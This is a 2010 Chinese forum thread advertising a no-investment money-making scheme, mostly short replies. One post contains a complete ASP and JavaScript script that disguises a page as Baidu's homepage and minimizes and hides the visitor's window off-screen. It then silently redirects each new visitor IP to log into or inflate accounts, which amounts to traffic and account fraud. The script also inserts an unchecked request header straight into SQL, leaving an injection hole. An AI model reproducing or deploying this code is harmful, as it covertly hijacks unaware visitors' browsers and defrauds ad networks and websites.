0投入，单人操作月收益2000-30000，送给没多少钱回家过年的新手朋友们

xawnu · 发表于 2010-12-15 19:04:54

嗯，来看看，支持下~

naige · 发表于 2010-12-15 19:05:15

这是啥东东

co123cc · 发表于 2010-12-15 19:17:11

很好的思路

这小子 · 发表于 2010-12-15 19:23:10

晚上上来看下，还是有不少人回复的，不过编辑不了帖子了，这号在这里把流量刷账户的代码贴下，想用的可以看下：

<%'----12010.12月01日
'实现每一个弹出IP刷一个账号，默认用百度首页做隐藏
%>
<%
dim conn
dim dbpath
dim ip
dim url
dim urltime
dbpath=server.mappath("data.mdb")
set conn=server.createobject("adodb.connection")
'conn.open "Driver={Microsoft Access Driver (*.mdb)};dbq="&dbpath
conn.open "Provider=Microsoft.Jet.Oledb.4.0;Data Source="&dbpath
sub CloseConn()
conn.close
set conn=nothing
end sub
ip=getip()
'---------------------------------------------下面是测试的时候的输出函数，正式的时候不需要
'set rs=server.createobject("adodb.recordset")
'sql="select * from content"
'rs.open sql,conn,1,1
'dim n,t
't=rs.Fields.count - 1
'response.write "<table border=1>"
'dim value
'do while not rs.eof
'response.write "<tr>"
'for n=0 to t
' if isnull(rs(n)) or rs(n)="" then value=" " else value=cstr(rs(n))
' response.write "<td>"+value+"</td>"
' next
' response.write "</tr>"
' rs.movenext
'loop
'response.write "</table>"
'rs.close
'set rs=nothing
'CloseConn()
'----------------------------------------------下面是正式测试IP是否重复，不重复转到120ask登陆并记录IP，重复的话无动作
set rs=server.createobject("adodb.recordset")
sql="select * from content where ip='"&ip&"'"
rs.open sql,conn,1,1
if rs.eof then
set rs1=server.createobject("adodb.recordset")
'response.write "没有找到相关IP记录,已经进行了IP记录，更新了IP"&"<br />"
sql="select * from content where isshua=false"
rs1.open sql,conn,1,3
if rs1.eof then '如果所有记录都为真，证明登陆完成
'response.write "已经完成了所有URL的登录工作" & "<br />"
rs1.close
set rs1=nothing
rs.close
set rs=nothing
closeConn()
response.redirect "done.html" '跳转到完成页面，可以自动捕获完成动作并停止流量弹出
end if
urltime=0.1
url=rs1("url")
response.write rs1("id") & "Debug.print" & url
rs1("ip")=ip
rs1("isshua")="true"
rs1("riqi")=date()
rs1.update
rs1.close
set rs1=nothing
'response.redirect url 改成HTML跳转，要不不最小化，直接跳转了
else
'response.write "相关IP记录为"&ip&"<br />"
urltime = 10000 '设置这么大的值，用来停在当前页面不跳转，一般弹窗联盟自己都会检查IP的，24小时至允许1个IP弹出
url=""'你要跳转的网址
end if
rs.close
set rs=nothing
CloseConn()
%>
<%
Private Function getIP()
Dim strIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))
End Function
%>
<html>
<head>
<meta http-equiv="refresh" content="<%=urltime%>;url=<%=url%>">
<title>百度一下，你就知道 </title>
<script language="javascript">
//编写 2008-10-01
function resumeWindow()
{
moveTo(50000, 50000);
resizeTo(screen.availWidth, screen.availHeight);
}
resizeTo(0,0); //自动最小化
moveTo(screen.availWidth,screen.availHeight);
setTimeout(resumeWindow,1000*15); //15秒后自动还原,自动网址跳转的时间小于15秒的，所以不会自动最大化
</script>
</head>
<body>
<iframe src="http://www.baidu.com" width="100%" height="100%" frameborder="0"></iframe>
</body>
<html>

复制代码

king · 发表于 2010-12-15 19:29:39

不知道还能做多久

123jj · 发表于 2010-12-15 19:34:07

还是执行力的问题啊

ffn8820 · 发表于 2010-12-15 19:37:48

看看什么好东西

sohounion · 发表于 2010-12-15 19:57:12

不错　　想看看。。

danyemian · 发表于 2010-12-15 20:00:20

看看什么好东西

zhangxj · 发表于 2010-12-15 20:00:34

个看下内容啦

zhanbo · 发表于 2010-12-15 20:05:41

我也学习一下

dayugood · 发表于 2010-12-15 20:18:41

哇，还带工具那？

booday · 发表于 2010-12-15 20:21:50

瞧瞧呀~~~~~

leeway · 发表于 2010-12-15 20:48:28

好东西要看看..

wanglong888 · 发表于 2010-12-15 20:52:26

白哥加了5分啊，应该是很不错的东西哦

joybill · 发表于 2010-12-15 21:00:40

辛苦了，谢谢分享啊。

hey · 发表于 2010-12-15 21:12:36

好东西，顶了！

斯德哥尔摩型男 · 发表于 2010-12-15 21:13:08

我一点开，就看到懂懂两个字。。。

账号		自动登录	找回密码
密码			注册